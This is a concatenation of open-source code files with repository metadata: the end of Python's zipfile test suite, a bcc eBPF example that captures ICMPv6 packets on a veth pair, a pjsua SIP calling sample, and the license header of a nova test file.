b'\x01\x003\x00\x00\x003\x00\x00\x00\x00\x00'),
}
def test_unicode_filenames(self):
with zipfile.ZipFile(TESTFN, "w") as zf:
zf.writestr("foo.txt", "Test for unicode filename")
zf.writestr("\xf6.txt", "Test for unicode filename")
self.assertIsInstance(zf.infolist()[0].filename, str)
with zipfile.ZipFile(TESTFN, "r") as zf:
self.assertEqual(zf.filelist[0].filename, "foo.txt")
self.assertEqual(zf.filelist[1].filename, "\xf6.txt")
def test_create_non_existent_file_for_append(self):
if os.path.exists(TESTFN):
os.unlink(TESTFN)
filename = 'testfile.txt'
content = b'hello, world. this is some content.'
try:
with zipfile.ZipFile(TESTFN, 'a') as zf:
zf.writestr(filename, content)
except IOError:
self.fail('Could not append data to a non-existent zip file.')
self.assertTrue(os.path.exists(TESTFN))
with zipfile.ZipFile(TESTFN, 'r') as zf:
self.assertEqual(zf.read(filename), content)
def test_close_erroneous_file(self):
# This test checks that the ZipFile constructor closes the file object
# it opens if there's an error in the file. If it doesn't, the
# traceback holds a reference to the ZipFile object and, indirectly,
# the file object.
# On Windows, this causes the os.unlink() call to fail because the
# underlying file is still open. This is SF bug #412214.
#
with open(TESTFN, "w") as fp:
fp.write("this is not a legal zip file\n")
try:
zf = zipfile.ZipFile(TESTFN)
except zipfile.BadZipFile:
pass
def test_is_zip_erroneous_file(self):
"""Check that is_zipfile() correctly identifies non-zip files."""
# - passing a filename
with open(TESTFN, "w") as fp:
fp.write("this is not a legal zip file\n")
chk = zipfile.is_zipfile(TESTFN)
self.assertFalse(chk)
# - passing a file object
with open(TESTFN, "rb") as fp:
chk = zipfile.is_zipfile(fp)
self.assertTrue(not chk)
# - passing a file-like object
fp = io.BytesIO()
fp.write(b"this is not a legal zip file\n")
chk = zipfile.is_zipfile(fp)
self.assertTrue(not chk)
fp.seek(0, 0)
chk = zipfile.is_zipfile(fp)
self.assertTrue(not chk)
def test_is_zip_valid_file(self):
"""Check that is_zipfile() correctly identifies zip files."""
# - passing a filename
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
zipf.writestr("foo.txt", b"O, for a Muse of Fire!")
chk = zipfile.is_zipfile(TESTFN)
self.assertTrue(chk)
# - passing a file object
with open(TESTFN, "rb") as fp:
chk = zipfile.is_zipfile(fp)
self.assertTrue(chk)
fp.seek(0, 0)
zip_contents = fp.read()
# - passing a file-like object
fp = io.BytesIO()
fp.write(zip_contents)
chk = zipfile.is_zipfile(fp)
self.assertTrue(chk)
fp.seek(0, 0)
chk = zipfile.is_zipfile(fp)
self.assertTrue(chk)
def test_non_existent_file_raises_IOError(self):
# make sure we don't raise an AttributeError when a partially-constructed
# ZipFile instance is finalized; this tests for regression on SF tracker
# bug #403871.
# The bug we're testing for caused an AttributeError to be raised
# when a ZipFile instance was created for a file that did not
# exist; the .fp member was not initialized but was needed by the
# __del__() method. Since the AttributeError is in the __del__(),
# it is ignored, but the user should be sufficiently annoyed by
# the message on the output that regression will be noticed
# quickly.
self.assertRaises(IOError, zipfile.ZipFile, TESTFN)
def test_empty_file_raises_BadZipFile(self):
f = open(TESTFN, 'w')
f.close()
self.assertRaises(zipfile.BadZipFile, zipfile.ZipFile, TESTFN)
with open(TESTFN, 'w') as fp:
fp.write("short file")
self.assertRaises(zipfile.BadZipFile, zipfile.ZipFile, TESTFN)
def test_closed_zip_raises_RuntimeError(self):
"""Verify that testzip() doesn't swallow inappropriate exceptions."""
data = io.BytesIO()
with zipfile.ZipFile(data, mode="w") as zipf:
zipf.writestr("foo.txt", "O, for a Muse of Fire!")
# This is correct; calling .read on a closed ZipFile should throw
# a RuntimeError, and so should calling .testzip. An earlier
# version of .testzip would swallow this exception (and any other)
# and report that the first file in the archive was corrupt.
self.assertRaises(RuntimeError, zipf.read, "foo.txt")
self.assertRaises(RuntimeError, zipf.open, "foo.txt")
self.assertRaises(RuntimeError, zipf.testzip)
self.assertRaises(RuntimeError, zipf.writestr, "bogus.txt", "bogus")
with open(TESTFN, 'w') as f:
f.write('zipfile test data')
self.assertRaises(RuntimeError, zipf.write, TESTFN)
def test_bad_constructor_mode(self):
"""Check that bad modes passed to ZipFile constructor are caught."""
self.assertRaises(RuntimeError, zipfile.ZipFile, TESTFN, "q")
def test_bad_open_mode(self):
"""Check that bad modes passed to ZipFile.open are caught."""
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
zipf.writestr("foo.txt", "O, for a Muse of Fire!")
with zipfile.ZipFile(TESTFN, mode="r") as zipf:
# read the data to make sure the file is there
zipf.read("foo.txt")
self.assertRaises(RuntimeError, zipf.open, "foo.txt", "q")
def test_read0(self):
"""Check that calling read(0) on a ZipExtFile object returns an empty
string and doesn't advance file pointer."""
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
zipf.writestr("foo.txt", "O, for a Muse of Fire!")
# read the data to make sure the file is there
with zipf.open("foo.txt") as f:
for i in range(FIXEDTEST_SIZE):
self.assertEqual(f.read(0), b'')
self.assertEqual(f.read(), b"O, for a Muse of Fire!")
def test_open_non_existent_item(self):
"""Check that attempting to call open() for an item that doesn't
exist in the archive raises a RuntimeError."""
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
self.assertRaises(KeyError, zipf.open, "foo.txt", "r")
def test_bad_compression_mode(self):
"""Check that bad compression methods passed to ZipFile.open are
caught."""
self.assertRaises(RuntimeError, zipfile.ZipFile, TESTFN, "w", -1)
def test_null_byte_in_filename(self):
"""Check that a filename containing a null byte is properly
terminated."""
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
zipf.writestr("foo.txt\x00qqq", b"O, for a Muse of Fire!")
self.assertEqual(zipf.namelist(), ['foo.txt'])
def test_struct_sizes(self):
"""Check that ZIP internal structure sizes are calculated correctly."""
self.assertEqual(zipfile.sizeEndCentDir, 22)
self.assertEqual(zipfile.sizeCentralDir, 46)
self.assertEqual(zipfile.sizeEndCentDir64, 56)
self.assertEqual(zipfile.sizeEndCentDir64Locator, 20)
def test_comments(self):
"""Check that comments on the archive are handled properly."""
# check default comment is empty
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
self.assertEqual(zipf.comment, b'')
zipf.writestr("foo.txt", "O, for a Muse of Fire!")
with zipfile.ZipFile(TESTFN, mode="r") as zipfr:
self.assertEqual(zipfr.comment, b'')
# check a simple short comment
comment = b'Bravely taking to his feet, he beat a very brave retreat.'
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
zipf.comment = comment
zipf.writestr("foo.txt", "O, for a Muse of Fire!")
with zipfile.ZipFile(TESTFN, mode="r") as zipfr:
self.assertEqual(zipf.comment, comment)
# check a comment of max length
comment2 = ''.join(['%d' % (i**3 % 10) for i in range((1 << 16)-1)])
comment2 = comment2.encode("ascii")
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
zipf.comment = comment2
zipf.writestr("foo.txt", "O, for a Muse of Fire!")
with zipfile.ZipFile(TESTFN, mode="r") as zipfr:
self.assertEqual(zipfr.comment, comment2)
# check a comment that is too long is truncated
with zipfile.ZipFile(TESTFN, mode="w") as zipf:
zipf.comment = comment2 + b'oops'
zipf.writestr("foo.txt", "O, for a Muse of Fire!")
with zipfile.ZipFile(TESTFN, mode="r") as zipfr:
self.assertEqual(zipfr.comment, comment2)
def check_testzip_with_bad_crc(self, compression):
"""Tests that files with bad CRCs return their name from testzip."""
zipdata = self.zips_with_bad_crc[compression]
with zipfile.ZipFile(io.BytesIO(zipdata), mode="r") as zipf:
# testzip returns the name of the first corrupt file, or None
self.assertEqual('afile', zipf.testzip())
def test_testzip_with_bad_crc_stored(self):
self.check_testzip_with_bad_crc(zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_testzip_with_bad_crc_deflated(self):
self.check_testzip_with_bad_crc(zipfile.ZIP_DEFLATED)
def check_read_with_bad_crc(self, compression):
"""Tests that files with bad CRCs raise a BadZipFile exception when read."""
zipdata = self.zips_with_bad_crc[compression]
# Using ZipFile.read()
with zipfile.ZipFile(io.BytesIO(zipdata), mode="r") as zipf:
self.assertRaises(zipfile.BadZipFile, zipf.read, 'afile')
# Using ZipExtFile.read()
with zipfile.ZipFile(io.BytesIO(zipdata), mode="r") as zipf:
with zipf.open('afile', 'r') as corrupt_file:
self.assertRaises(zipfile.BadZipFile, corrupt_file.read)
# Same with small reads (in order to exercise the buffering logic)
with zipfile.ZipFile(io.BytesIO(zipdata), mode="r") as zipf:
with zipf.open('afile', 'r') as corrupt_file:
corrupt_file.MIN_READ_SIZE = 2
with self.assertRaises(zipfile.BadZipFile):
while corrupt_file.read(2):
pass
def test_read_with_bad_crc_stored(self):
self.check_read_with_bad_crc(zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_read_with_bad_crc_deflated(self):
self.check_read_with_bad_crc(zipfile.ZIP_DEFLATED)
def check_read_return_size(self, compression):
# Issue #9837: ZipExtFile.read() shouldn't return more bytes
# than requested.
for test_size in (1, 4095, 4096, 4097, 16384):
file_size = test_size + 1
junk = b''.join(struct.pack('B', randint(0, 255))
for x in range(file_size))
with zipfile.ZipFile(io.BytesIO(), "w", compression) as zipf:
zipf.writestr('foo', junk)
with zipf.open('foo', 'r') as fp:
buf = fp.read(test_size)
self.assertEqual(len(buf), test_size)
def test_read_return_size_stored(self):
self.check_read_return_size(zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_read_return_size_deflated(self):
self.check_read_return_size(zipfile.ZIP_DEFLATED)
def test_empty_zipfile(self):
# Check that creating a file in 'w' or 'a' mode and closing without
# adding any files to the archives creates a valid empty ZIP file
zipf = zipfile.ZipFile(TESTFN, mode="w")
zipf.close()
try:
zipf = zipfile.ZipFile(TESTFN, mode="r")
except zipfile.BadZipFile:
self.fail("Unable to create empty ZIP file in 'w' mode")
zipf = zipfile.ZipFile(TESTFN, mode="a")
zipf.close()
try:
zipf = zipfile.ZipFile(TESTFN, mode="r")
except:
self.fail("Unable to create empty ZIP file in 'a' mode")
def test_open_empty_file(self):
# Issue 1710703: Check that opening a file with less than 22 bytes
# raises a BadZipFile exception (rather than the previously unhelpful
# IOError)
f = open(TESTFN, 'w')
f.close()
self.assertRaises(zipfile.BadZipFile, zipfile.ZipFile, TESTFN, 'r')
def tearDown(self):
unlink(TESTFN)
unlink(TESTFN2)
class DecryptionTests(unittest.TestCase):
"""Check that ZIP decryption works. Since the library does not
support encryption at the moment, we use a pre-generated encrypted
ZIP file."""
data = (
b'PK\x03\x04\x14\x00\x01\x00\x00\x00n\x92i.#y\xef?&\x00\x00\x00\x1a\x00'
b'\x00\x00\x08\x00\x00\x00test.txt\xfa\x10\xa0gly|\xfa-\xc5\xc0=\xf9y'
b'\x18\xe0\xa8r\xb3Z}Lg\xbc\xae\xf9|\x9b\x19\xe4\x8b\xba\xbb)\x8c\xb0\xdbl'
b'PK\x01\x02\x14\x00\x14\x00\x01\x00\x00\x00n\x92i.#y\xef?&\x00\x00\x00'
b'\x1a\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\xb6\x81'
b'\x00\x00\x00\x00test.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x006\x00'
b'\x00\x00L\x00\x00\x00\x00\x00' )
data2 = (
b'PK\x03\x04\x14\x00\t\x00\x08\x00\xcf}38xu\xaa\xb2\x14\x00\x00\x00\x00\x02'
b'\x00\x00\x04\x00\x15\x00zeroUT\t\x00\x03\xd6\x8b\x92G\xda\x8b\x92GUx\x04'
b'\x00\xe8\x03\xe8\x03\xc7<M\xb5a\xceX\xa3Y&\x8b{oE\xd7\x9d\x8c\x98\x02\xc0'
b'PK\x07\x08xu\xaa\xb2\x14\x00\x00\x00\x00\x02\x00\x00PK\x01\x02\x17\x03'
b'\x14\x00\t\x00\x08\x00\xcf}38xu\xaa\xb2\x14\x00\x00\x00\x00\x02\x00\x00'
b'\x04\x00\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00ze'
b'roUT\x05\x00\x03\xd6\x8b\x92GUx\x00\x00PK\x05\x06\x00\x00\x00\x00\x01'
b'\x00\x01\x00?\x00\x00\x00[\x00\x00\x00\x00\x00' )
plain = b'zipfile.py encryption test'
plain2 = b'\x00'*512
def setUp(self):
with open(TESTFN, "wb") as fp:
fp.write(self.data)
self.zip = zipfile.ZipFile(TESTFN, "r")
with open(TESTFN2, "wb") as fp:
fp.write(self.data2)
self.zip2 = zipfile.ZipFile(TESTFN2, "r")
def tearDown(self):
self.zip.close()
os.unlink(TESTFN)
self.zip2.close()
os.unlink(TESTFN2)
def test_no_password(self):
# Reading the encrypted file without password
# must generate a RunTime exception
self.assertRaises(RuntimeError, self.zip.read, "test.txt")
self.assertRaises(RuntimeError, self.zip2.read, "zero")
def test_bad_password(self):
self.zip.setpassword(b"perl")
self.assertRaises(RuntimeError, self.zip.read, "test.txt")
self.zip2.setpassword(b"perl")
self.assertRaises(RuntimeError, self.zip2.read, "zero")
@skipUnless(zlib, "requires zlib")
def test_good_password(self):
self.zip.setpassword(b"python")
self.assertEqual(self.zip.read("test.txt"), self.plain)
self.zip2.setpassword(b"12345")
self.assertEqual(self.zip2.read("zero"), self.plain2)
def test_unicode_password(self):
self.assertRaises(TypeError, self.zip.setpassword, "unicode")
self.assertRaises(TypeError, self.zip.read, "test.txt", "python")
self.assertRaises(TypeError, self.zip.open, "test.txt", pwd="python")
self.assertRaises(TypeError, self.zip.extract, "test.txt", pwd="python")
class TestsWithRandomBinaryFiles(unittest.TestCase):
def setUp(self):
datacount = randint(16, 64)*1024 + randint(1, 1024)
self.data = b''.join(struct.pack('<f', random()*randint(-1000, 1000))
for i in range(datacount))
# Make a source file with some lines
with open(TESTFN, "wb") as fp:
fp.write(self.data)
def tearDown(self):
unlink(TESTFN)
unlink(TESTFN2)
def make_test_archive(self, f, compression):
# Create the ZIP archive
with zipfile.ZipFile(f, "w", compression) as zipfp:
zipfp.write(TESTFN, "another.name")
zipfp.write(TESTFN, TESTFN)
def zip_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r", compression) as zipfp:
testdata = zipfp.read(TESTFN)
self.assertEqual(len(testdata), len(self.data))
self.assertEqual(testdata, self.data)
self.assertEqual(zipfp.read("another.name"), self.data)
if not isinstance(f, str):
f.close()
def test_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_test(f, zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_test(f, zipfile.ZIP_DEFLATED)
def zip_open_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r", compression) as zipfp:
zipdata1 = []
with zipfp.open(TESTFN) as zipopen1:
while True:
read_data = zipopen1.read(256)
if not read_data:
break
zipdata1.append(read_data)
zipdata2 = []
with zipfp.open("another.name") as zipopen2:
while True:
read_data = zipopen2.read(256)
if not read_data:
break
zipdata2.append(read_data)
testdata1 = b''.join(zipdata1)
self.assertEqual(len(testdata1), len(self.data))
self.assertEqual(testdata1, self.data)
testdata2 = b''.join(zipdata2)
self.assertEqual(len(testdata2), len(self.data))
self.assertEqual(testdata2, self.data)
if not isinstance(f, str):
f.close()
def test_open_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_open_test(f, zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_open_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_open_test(f, zipfile.ZIP_DEFLATED)
def zip_random_open_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r", compression) as zipfp:
zipdata1 = []
with zipfp.open(TESTFN) as zipopen1:
while True:
read_data = zipopen1.read(randint(1, 1024))
if not read_data:
break
zipdata1.append(read_data)
testdata = b''.join(zipdata1)
self.assertEqual(len(testdata), len(self.data))
self.assertEqual(testdata, self.data)
if not isinstance(f, str):
f.close()
def test_random_open_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_random_open_test(f, zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_random_open_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_random_open_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
class TestsWithMultipleOpens(unittest.TestCase):
def setUp(self):
# Create the ZIP archive
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_DEFLATED) as zipfp:
zipfp.writestr('ones', '1'*FIXEDTEST_SIZE)
zipfp.writestr('twos', '2'*FIXEDTEST_SIZE)
def test_same_file(self):
# Verify that (when the ZipFile is in control of creating file objects)
# multiple open() calls can be made without interfering with each other.
with zipfile.ZipFile(TESTFN2, mode="r") as zipf:
with zipf.open('ones') as zopen1, zipf.open('ones') as zopen2:
data1 = zopen1.read(500)
data2 = zopen2.read(500)
data1 += zopen1.read(500)
data2 += zopen2.read(500)
self.assertEqual(data1, data2)
def test_different_file(self):
# Verify that (when the ZipFile is in control of creating file objects)
# multiple open() calls can be made without interfering with each other.
with zipfile.ZipFile(TESTFN2, mode="r") as zipf:
with zipf.open('ones') as zopen1, zipf.open('twos') as zopen2:
data1 = zopen1.read(500)
data2 = zopen2.read(500)
data1 += zopen1.read(500)
data2 += zopen2.read(500)
self.assertEqual(data1, b'1'*FIXEDTEST_SIZE)
self.assertEqual(data2, b'2'*FIXEDTEST_SIZE)
def test_interleaved(self):
# Verify that (when the ZipFile is in control of creating file objects)
# multiple open() calls can be made without interfering with each other.
with zipfile.ZipFile(TESTFN2, mode="r") as zipf:
with zipf.open('ones') as zopen1, zipf.open('twos') as zopen2:
data1 = zopen1.read(500)
data2 = zopen2.read(500)
data1 += zopen1.read(500)
data2 += zopen2.read(500)
self.assertEqual(data1, b'1'*FIXEDTEST_SIZE)
self.assertEqual(data2, b'2'*FIXEDTEST_SIZE)
def tearDown(self):
unlink(TESTFN2)
class TestWithDirectory(unittest.TestCase):
def setUp(self):
os.mkdir(TESTFN2)
def test_extract_dir(self):
with zipfile.ZipFile(findfile("zipdir.zip")) as zipf:
zipf.extractall(TESTFN2)
self.assertTrue(os.path.isdir(os.path.join(TESTFN2, "a")))
self.assertTrue(os.path.isdir(os.path.join(TESTFN2, "a", "b")))
self.assertTrue(os.path.exists(os.path.join(TESTFN2, "a", "b", "c")))
def test_bug_6050(self):
# Extraction should succeed if directories already exist
os.mkdir(os.path.join(TESTFN2, "a"))
self.test_extract_dir()
def test_store_dir(self):
os.mkdir(os.path.join(TESTFN2, "x"))
zipf = zipfile.ZipFile(TESTFN, "w")
zipf.write(os.path.join(TESTFN2, "x"), "x")
self.assertTrue(zipf.filelist[0].filename.endswith("x/"))
def tearDown(self):
shutil.rmtree(TESTFN2)
if os.path.exists(TESTFN):
unlink(TESTFN)
class UniversalNewlineTests(unittest.TestCase):
def setUp(self):
self.line_gen = [bytes("Test of zipfile line %d." % i, "ascii")
for i in range(FIXEDTEST_SIZE)]
self.seps = ('\r', '\r\n', '\n')
self.arcdata, self.arcfiles = {}, {}
for n, s in enumerate(self.seps):
b = s.encode("ascii")
self.arcdata[s] = b.join(self.line_gen) + b
self.arcfiles[s] = '%s-%d' % (TESTFN, n)
f = open(self.arcfiles[s], "wb")
try:
f.write(self.arcdata[s])
finally:
f.close()
def make_test_archive(self, f, compression):
# Create the ZIP archive
with zipfile.ZipFile(f, "w", compression) as zipfp:
for fn in self.arcfiles.values():
zipfp.write(fn, fn)
def read_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r") as zipfp:
for sep, fn in self.arcfiles.items():
with zipfp.open(fn, "rU") as fp:
zipdata = fp.read()
self.assertEqual(self.arcdata[sep], zipdata)
if not isinstance(f, str):
f.close()
def readline_read_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r") as zipfp:
for sep, fn in self.arcfiles.items():
with zipfp.open(fn, "rU") as zipopen:
data = b''
while True:
read = zipopen.readline()
if not read:
break
data += read
read = zipopen.read(5)
if not read:
break
data += read
self.assertEqual(data, self.arcdata['\n'])
if not isinstance(f, str):
f.close()
def readline_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r") as zipfp:
for sep, fn in self.arcfiles.items():
with zipfp.open(fn, "rU") as zipopen:
for line in self.line_gen:
linedata = zipopen.readline()
self.assertEqual(linedata, line + b'\n')
if not isinstance(f, str):
f.close()
def readlines_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r") as zipfp:
for sep, fn in self.arcfiles.items():
with zipfp.open(fn, "rU") as fp:
ziplines = fp.readlines()
for line, zipline in zip(self.line_gen, ziplines):
self.assertEqual(zipline, line + b'\n')
if not isinstance(f, str):
f.close()
def iterlines_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r") as zipfp:
for sep, fn in self.arcfiles.items():
with zipfp.open(fn, "rU") as fp:
for line, zipline in zip(self.line_gen, fp):
self.assertEqual(zipline, line + b'\n')
if not isinstance(f, str):
f.close()
def test_read_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.read_test(f, zipfile.ZIP_STORED)
def test_readline_read_stored(self):
# Issue #7610: calls to readline() interleaved with calls to read().
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.readline_read_test(f, zipfile.ZIP_STORED)
def test_readline_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.readline_test(f, zipfile.ZIP_STORED)
def test_readlines_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.readlines_test(f, zipfile.ZIP_STORED)
def test_iterlines_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.iterlines_test(f, zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_read_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.read_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_readline_read_deflated(self):
# Issue #7610: calls to readline() interleaved with calls to read().
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.readline_read_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_readline_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.readline_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_readlines_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.readlines_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_iterlines_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.iterlines_test(f, zipfile.ZIP_DEFLATED)
def tearDown(self):
for sep, fn in self.arcfiles.items():
os.remove(fn)
unlink(TESTFN)
unlink(TESTFN2)
def test_main():
run_unittest(TestsWithSourceFile, TestZip64InSmallFiles, OtherTests,
PyZipFileTests, DecryptionTests, TestsWithMultipleOpens,
TestWithDirectory, UniversalNewlineTests,
TestsWithRandomBinaryFiles)
if __name__ == "__main__":
test_main()
| lgpl-3.0 |
brendangregg/bcc | examples/networking/tc_perf_event.py | 3 | 2583 | #!/usr/bin/python
#
# tc_perf_event.py Output skb and meta data through perf event
#
# Copyright (c) 2016-present, Facebook, Inc.
# Licensed under the Apache License, Version 2.0 (the "License")
from bcc import BPF
import ctypes as ct
import pyroute2
import socket
bpf_txt = """
#include <uapi/linux/if_ether.h>
#include <uapi/linux/in6.h>
#include <uapi/linux/ipv6.h>
#include <uapi/linux/pkt_cls.h>
#include <uapi/linux/bpf.h>
BPF_PERF_OUTPUT(skb_events);
struct eth_hdr {
unsigned char h_dest[ETH_ALEN];
unsigned char h_source[ETH_ALEN];
unsigned short h_proto;
};
int handle_egress(struct __sk_buff *skb)
{
void *data = (void *)(long)skb->data;
void *data_end = (void *)(long)skb->data_end;
struct eth_hdr *eth = data;
struct ipv6hdr *ip6h = data + sizeof(*eth);
u32 magic = 0xfaceb00c;
/* single length check */
if (data + sizeof(*eth) + sizeof(*ip6h) > data_end)
return TC_ACT_OK;
if (eth->h_proto == htons(ETH_P_IPV6) &&
ip6h->nexthdr == IPPROTO_ICMPV6)
skb_events.perf_submit_skb(skb, skb->len, &magic, sizeof(magic));
return TC_ACT_OK;
}"""
def print_skb_event(cpu, data, size):
class SkbEvent(ct.Structure):
_fields_ = [ ("magic", ct.c_uint32),
("raw", ct.c_ubyte * (size - ct.sizeof(ct.c_uint32))) ]
skb_event = ct.cast(data, ct.POINTER(SkbEvent)).contents
icmp_type = int(skb_event.raw[54])
# Only print for echo request
if icmp_type == 128:
src_ip = bytes(bytearray(skb_event.raw[22:38]))
dst_ip = bytes(bytearray(skb_event.raw[38:54]))
print("%-3s %-32s %-12s 0x%08x" %
(cpu, socket.inet_ntop(socket.AF_INET6, src_ip),
socket.inet_ntop(socket.AF_INET6, dst_ip),
skb_event.magic))
try:
b = BPF(text=bpf_txt)
fn = b.load_func("handle_egress", BPF.SCHED_CLS)
ipr = pyroute2.IPRoute()
ipr.link("add", ifname="me", kind="veth", peer="you")
me = ipr.link_lookup(ifname="me")[0]
you = ipr.link_lookup(ifname="you")[0]
for idx in (me, you):
ipr.link('set', index=idx, state='up')
ipr.tc("add", "clsact", me)
ipr.tc("add-filter", "bpf", me, ":1", fd=fn.fd, name=fn.name,
parent="ffff:fff3", classid=1, direct_action=True)
b["skb_events"].open_perf_buffer(print_skb_event)
print('Try: "ping6 ff02::1%me"\n')
print("%-3s %-32s %-12s %-10s" % ("CPU", "SRC IP", "DST IP", "Magic"))
try:
while True:
b.perf_buffer_poll()
except KeyboardInterrupt:
pass
finally:
if "me" in locals(): ipr.link("del", index=me)
| apache-2.0 |
wkritzinger/asuswrt-merlin | release/src/router/asusnatnl/pjproject-1.12/pjsip-apps/src/python/samples/call.py | 60 | 5048 | # $Id: call.py 2171 2008-07-24 09:01:33Z bennylp $
#
# SIP call sample.
#
# Copyright (C) 2003-2008 Benny Prijono <benny@prijono.org>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
import sys
import pjsua as pj
LOG_LEVEL=3
current_call = None
# Logging callback
def log_cb(level, str, len):
print str,
# Callback to receive events from account
class MyAccountCallback(pj.AccountCallback):
def __init__(self, account=None):
pj.AccountCallback.__init__(self, account)
# Notification on incoming call
def on_incoming_call(self, call):
global current_call
if current_call:
call.answer(486, "Busy")
return
print "Incoming call from ", call.info().remote_uri
print "Press 'a' to answer"
current_call = call
call_cb = MyCallCallback(current_call)
current_call.set_callback(call_cb)
current_call.answer(180)
# Callback to receive events from Call
class MyCallCallback(pj.CallCallback):
def __init__(self, call=None):
pj.CallCallback.__init__(self, call)
# Notification when call state has changed
def on_state(self):
global current_call
print "Call with", self.call.info().remote_uri,
print "is", self.call.info().state_text,
print "last code =", self.call.info().last_code,
print "(" + self.call.info().last_reason + ")"
if self.call.info().state == pj.CallState.DISCONNECTED:
current_call = None
print 'Current call is', current_call
# Notification when call's media state has changed.
def on_media_state(self):
if self.call.info().media_state == pj.MediaState.ACTIVE:
# Connect the call to sound device
call_slot = self.call.info().conf_slot
pj.Lib.instance().conf_connect(call_slot, 0)
pj.Lib.instance().conf_connect(0, call_slot)
print "Media is now active"
else:
print "Media is inactive"
# Function to make call
def make_call(uri):
try:
print "Making call to", uri
return acc.make_call(uri, cb=MyCallCallback())
except pj.Error, e:
print "Exception: " + str(e)
return None
# Create library instance
lib = pj.Lib()
try:
# Init library with default config and some customized
# logging config.
lib.init(log_cfg = pj.LogConfig(level=LOG_LEVEL, callback=log_cb))
# Create UDP transport which listens to any available port
transport = lib.create_transport(pj.TransportType.UDP,
pj.TransportConfig(0))
print "\nListening on", transport.info().host,
print "port", transport.info().port, "\n"
# Start the library
lib.start()
# Create local account
acc = lib.create_account_for_transport(transport, cb=MyAccountCallback())
# If argument is specified then make call to the URI
if len(sys.argv) > 1:
lck = lib.auto_lock()
current_call = make_call(sys.argv[1])
print 'Current call is', current_call
del lck
my_sip_uri = "sip:" + transport.info().host + \
":" + str(transport.info().port)
# Menu loop
while True:
print "My SIP URI is", my_sip_uri
print "Menu: m=make call, h=hangup call, a=answer call, q=quit"
input = sys.stdin.readline().rstrip("\r\n")
if input == "m":
if current_call:
print "Already have another call"
continue
print "Enter destination URI to call: ",
input = sys.stdin.readline().rstrip("\r\n")
if input == "":
continue
lck = lib.auto_lock()
current_call = make_call(input)
del lck
elif input == "h":
if not current_call:
print "There is no call"
continue
current_call.hangup()
elif input == "a":
if not current_call:
print "There is no call"
continue
current_call.answer(200)
elif input == "q":
break
# Shutdown the library
transport = None
acc.delete()
acc = None
lib.destroy()
lib = None
except pj.Error, e:
print "Exception: " + str(e)
lib.destroy()
lib = None
| gpl-2.0 |
afrolov1/nova | nova/tests/virt/xenapi/test_vmops.py | 1 | 43955 | # Copyright 2013 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
